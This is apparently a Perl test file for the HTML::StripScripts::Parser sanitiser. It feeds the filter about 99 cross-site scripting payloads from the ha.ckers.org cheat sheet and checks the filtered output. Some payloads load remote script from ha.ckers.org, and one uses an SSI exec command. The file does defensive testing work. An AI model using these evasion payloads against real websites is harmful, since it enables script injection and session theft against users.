1use strict; 2use Test::More tests => 100; 3 4BEGIN { $^W = 1 } 5 6use HTML::StripScripts::Parser; 7 8my @tests; 9my $p = 10 HTML::StripScripts::Parser->new( { AllowHref => 1, 11 AllowRelURL => 1, 12 AllowMailto => 1, 13 strict_names => 1, 14 strict_comments => 1, 15 } 16 ); 17 18isa_ok( $p, "HTML::StripScripts::Parser" ); 19 20my $i = 0; 21while (@tests) { 22 $i++; 23 my $in = shift @tests; 24 my $out = shift @tests; 25 my $result = $p->filter_html($in); 26 is( $result, $out, "xss $i" ); 27} 28 29# These XSS tests are from http://ha.ckers.org/xss.html 30# I have excluded the google.com URL tests, as all of them are valid URLs (I think) 31 32BEGIN { 33 @tests = ( 34 35 # 1 36 q{';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&\{\}}, 37 q{';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--><!--filtered-->">'><!--filtered--><!--filtered-->=&{}}, 38 39 # 2 40 q{'';!--"<XSS>=&\{()\}}, 41 q{'';!--"<!--filtered-->=&{()}}, 42 43 # 3 44 q{<SCRIPT>alert('XSS')</SCRIPT>}, 45 q{<!--filtered--><!--filtered-->}, 46 47 # 4 48 q{<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>}, 49 q{<!--filtered--><!--filtered-->}, 50 51 # 5 52 q{<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>}, 53 q{<!--filtered--><!--filtered-->}, 54 55 # 6 56 q{<BASE HREF="javascript:alert('XSS');//">}, 57 q{<!--filtered-->}, 58 59 # 7 60 q{<BGSOUND SRC="javascript:alert('XSS');">}, 61 q{<!--filtered-->}, 62 63 # 8 64 q{<BODY BACKGROUND="javascript:alert('XSS');">}, 65 q{<!--filtered-->}, 66 67 # 9 68 q{<BODY ONLOAD=alert('XSS')>}, 69 q{<!--filtered-->}, 70 71 # 10 72 q{<DIV STYLE="background-image: url(javascript:alert('XSS'))">}, 73 q{<div style=""></div>}, 74 75 # 11 76 q{<DIV STYLE="background-image: url(javascript:alert('XSS'))">}, 77 q{<div style=""></div>}, 78 79 # 12 80 q{<DIV STYLE="width: expression(alert('XSS'));">}, 81 q{<div style=""></div>}, 82 83 # 13 84 q{<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>}, 85 q{<!--filtered--><!--filtered--><!--filtered-->}, 86 87 # 14 88 q{<IFRAME SRC="javascript:alert('XSS');"></IFRAME>}, 89 q{<!--filtered--><!--filtered-->}, 90 91 # 15 92 q{<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">}, 93 q{<!--filtered-->}, 94 95 # 16 96 q{<IMG SRC="javascript:alert('XSS');">}, 97 q{<img />}, 98 99 # 17 100 q{<IMG SRC=javascript:alert('XSS')>}, 101 q{<img />}, 102 103 # 18 104 q{<IMG DYNSRC="javascript:alert('XSS');">}, 105 q{<img />}, 106 107 # 19 108 q{<IMG LOWSRC="javascript:alert('XSS');">}, 109 q{<img />}, 110 111 # 20 112 q{exp/*<XSS STYLE='no\xss:noxss("*//*"); 113<STYLE>li \{list-style-image: url("javascript:alert('XSS')");\}</STYLE><UL><LI>XSS}, 114 q{exp/*<!--filtered--><!--filtered--><!--filtered-->}, 115 116 # 21 117 q{<IMG SRC='vbscript:msgbox("XSS")'>}, 118 q{<img />}, 119 120 # 22 121 q{<LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>}, 122 q{<!--filtered--><!--filtered-->}, 123 124 # 23 125 q{<IMG SRC="livescript:[code]">}, 126 q{<img />}, 127 128 # 24 129 q{<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">}, 130 q{<!--filtered-->}, 131 132 # 25 133 q{<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">}, 134 q{<!--filtered-->}, 135 136 # 26 137 q{<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">}, 138 q{<!--filtered-->}, 139 140 # 27 141 q{<IMG SRC="mocha:[code]">}, 142 q{<img />}, 143 144 # 28 145 q{<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>}, 146 q{<!--filtered--><!--filtered-->}, 147 148 # 29 149 q{<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>}, 150 q{<!--filtered--><!--filtered--><!--filtered-->}, 151 152 # 30 153 q{<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>}, 154 q{<!--filtered--><!--filtered-->}, 155 156 # 31 157 q{a="get"; b="URL(""; c="javascript:"; d="alert('XSS');")";}, 158 q{a="get"; 159b="URL(""; 160c="javascript:"; 161d="alert('XSS');")";}, 162 163 # 32 164 q{<STYLE TYPE="text/javascript">alert('XSS');</STYLE>}, 165 q{<!--filtered--><!--filtered-->}, 166 167 # 33 168 q{<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">}, 169 q{<img />}, 170 171 # 34 172 q{<XSS STYLE="xss:expression(alert('XSS'))">}, 173 q{<!--filtered-->}, 174 175 # 35 176 q{<STYLE>.XSS\{background-image:url("javascript:alert('XSS')");\}</STYLE><A CLASS=XSS></A>}, 177 q{<!--filtered--><!--filtered--><a></a>}, 178 179 # 36 180 q{<STYLE type="text/css">BODY\{background:url("javascript:alert('XSS')")\}</STYLE>}, 181 q{<!--filtered--><!--filtered-->}, 182 183 # 37 184 q{<LINK REL="stylesheet" HREF="javascript:alert('XSS');">}, 185 q{<!--filtered-->}, 186 187 # 38 188 q{<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">}, 189 q{<!--filtered-->}, 190 191 # 39 192 q{<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>}, 193 q{<!--filtered--><!--filtered-->}, 194 195 # 40 196 q{<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">}, 197 q{<!--filtered-->}, 198 199 # 41 200 q{<STYLE>BODY\{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")\}</STYLE>}, 201 q{<!--filtered--><!--filtered-->}, 202 203 # 42 204 q{<TABLE BACKGROUND="javascript:alert('XSS')"></TABLE>}, 205 q{<table></table>}, 206 207 # 43 208 q{<TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE>}, 209 q{<table><!--filtered--><!--filtered--></table>}, 210 211 # 44 212 q{<HTML xmlns:xss>}, 213 q{<!--filtered-->}, 214 215 # 45 216 q{<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>}, 217 q{<!--filtered--><!--filtered--><!--filtered--><!--filtered--><!--filtered-->]]>}, 218 219 # 46 220 q{<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>}, 221 q{<!--filtered--><i><b><img /></b></i><!--filtered-->}, 222 223 # 47 224 q{<XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML>}, 225 q{<!--filtered--><!--filtered-->}, 226 227 # 48 228 q{<HTML><BODY>}, 229 q{<!--filtered--><!--filtered-->}, 230 231 # 49 232 q{<!--[if gte IE 4]>}, 233 q{<!--filtered-->}, 234 235 # 50 236 q{<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">}, 237 q{<!--filtered-->}, 238 239 # 51 240 q{<XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);">}, 241 q{<!--filtered-->}, 242 243 # 52 244 q{<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>}, 245 q{<!--filtered--><!--filtered-->}, 246 247 # 53 248 q{<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"-->}, 249 q{<!--filtered--><!--filtered--><!--filtered-->'"-->}, 250 251 # 54 252 q{<? echo('<SCR)';}, 253 q{<!--filtered-->}, 254 255 # 55 256 q{<BR SIZE="&\{alert('XSS')\}">}, 257 q{<br />}, 258 259 # 56 260 q{<}, 261 q{<!--filtered-->}, 262 263 # 57 264 q{<IMG SRC=JaVaScRiPt:alert('XSS')>}, 265 q{<img />}, 266 267 # 58 268 q{<IMG SRC=javascript:alert("XSS")>}, 269 q{<img />}, 270 271 # 59 272 q{<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>}, 273 q{<img />}, 274 275 # 60 276 q{<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>}, 277 q{<img />}, 278 279 # 61 280 q{<IMG SRC=javascript:alert('XSS')>}, 281 q{<img />}, 282 283 # 62 284 q{<IMG SRC=javascript:alert('XSS')>}, 285 q{<img />}, 286 287 # 63 288 q{<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">}, 289 q{<div style=""></div>}, 290 291 # 64 292 q{<IMG SRC=javascript:alert('XSS')>}, 293 q{<img />}, 294 295 # 65 296 q{<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-}, 297 q{<!--filtered--><!--filtered--> <!--filtered-->+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-}, 298 299 # 66 300 q{\";alert('XSS');//}, 301 q{\";alert('XSS');//}, 302 303 # 67 304 q{</TITLE><SCRIPT>alert("XSS");</SCRIPT>}, 305 q{<!--filtered--><!--filtered--><!--filtered-->}, 306 307 # 68 308 q{<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>}, 309 q{<!--filtered--><!--filtered-->}, 310 311 # 69 312 q{<IMG SRC="jav ascript:alert('XSS');">}, 313 q{<img />}, 314 315 # 70 316 q{<IMG SRC="jav	ascript:alert('XSS');">}, 317 q{<img />}, 318 319 # 71 320 q{<IMG SRC="jav
ascript:alert('XSS');">}, 321 q{<img />}, 322 323 # 72 324 q{<IMG SRC="jav
ascript:alert('XSS');">}, 325 q{<img />}, 326 327 # 73 328 q{<IMG}, 329 q{<!--filtered-->}, 330 331 # 74 332 q{perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out}, 333 q{perl -e 'print "<img />";'> out}, 334 335 # 75 336 q{perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out}, 337 q{perl -e 'print "&<!--filtered-->alert("XSS")<!--filtered-->";' > out}, 338 339 # 76 340 q{<IMG SRC="  javascript:alert('XSS');">}, 341 q{<img />}, 342 343 # 77 344 q{<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>}, 345 q{<!--filtered--><!--filtered-->}, 346 347 # 78 348 q{<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>}, 349 q{<!--filtered-->}, 350 351 # 79 352 q{<SCRIPT SRC=http://ha.ckers.org/xss.js}, 353 q{<!--filtered-->}, 354 355 # 80 356 q{<SCRIPT SRC=//ha.ckers.org/.j>}, 357 q{<!--filtered-->}, 358 359 # 81 360 q{<IMG SRC="javascript:alert('XSS')"}, 361 q{<!--filtered-->}, 362 363 # 82 364 q{<IFRAME SRC=http://ha.ckers.org/scriptlet.html <}, 365 q{<!--filtered-->}, 366 367 # 83 368 q{<<SCRIPT>alert("XSS");//<</SCRIPT>}, 369 q{<<!--filtered--><!--filtered-->}, 370 371 # 84 372 q{<IMG """><SCRIPT>alert("XSS")</SCRIPT>">}, 373 q{<img /><!--filtered--><!--filtered-->">}, 374 375 # 85 376 q{<SCRIPT>a=/XSS/}, 377 q{<!--filtered--><!--filtered-->}, 378 379 # 86 380 q{<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>}, 381 q{<!--filtered--><!--filtered-->}, 382 383 # 87 384 q{<SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT>}, 385 q{<!--filtered--><!--filtered-->}, 386 387 # 88 388 q{<SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>}, 389 q{<!--filtered--><!--filtered-->}, 390 391 # 89 392 q{<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>}, 393 q{<!--filtered--><!--filtered-->}, 394 395 # 90 396 q{<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>}, 397 q{<!--filtered--><!--filtered-->}, 398 399 # 91 400 q{<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>}, 401 q{<!--filtered--><!--filtered-->PT SRC="http://ha.ckers.org/xss.js"><!--filtered-->}, 402 403 # 92 404 q{<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>}, 405 q{<!--filtered--><!--filtered-->}, 406 407 # 93 408 q{<A HREF="h}, 409 q{<!--filtered-->}, 410 411 # 94 412 q{<A HREF="http://ha.ckers.org@google">XSS</A>}, 413 q{<a>XSS</a>}, 414 415 # 95 416 q{<A HREF="http://google:ha.ckers.org">XSS</A>}, 417 q{<a>XSS</a>}, 418 419 # 96 420 q{<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>}, 421 q{<a>XSS</a>}, 422 423 # 97 424 q{<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>}, 425 q{<a>XSS</a>}, 426 427 # 98 428 q{<img alt="test test" />}, 429 q{<img alt="test test" />}, 430 431 # 99 432 q{<img alt=test test />}, 433 q{<img alt="test&#10;test" />}, 434 435 ); 436} 437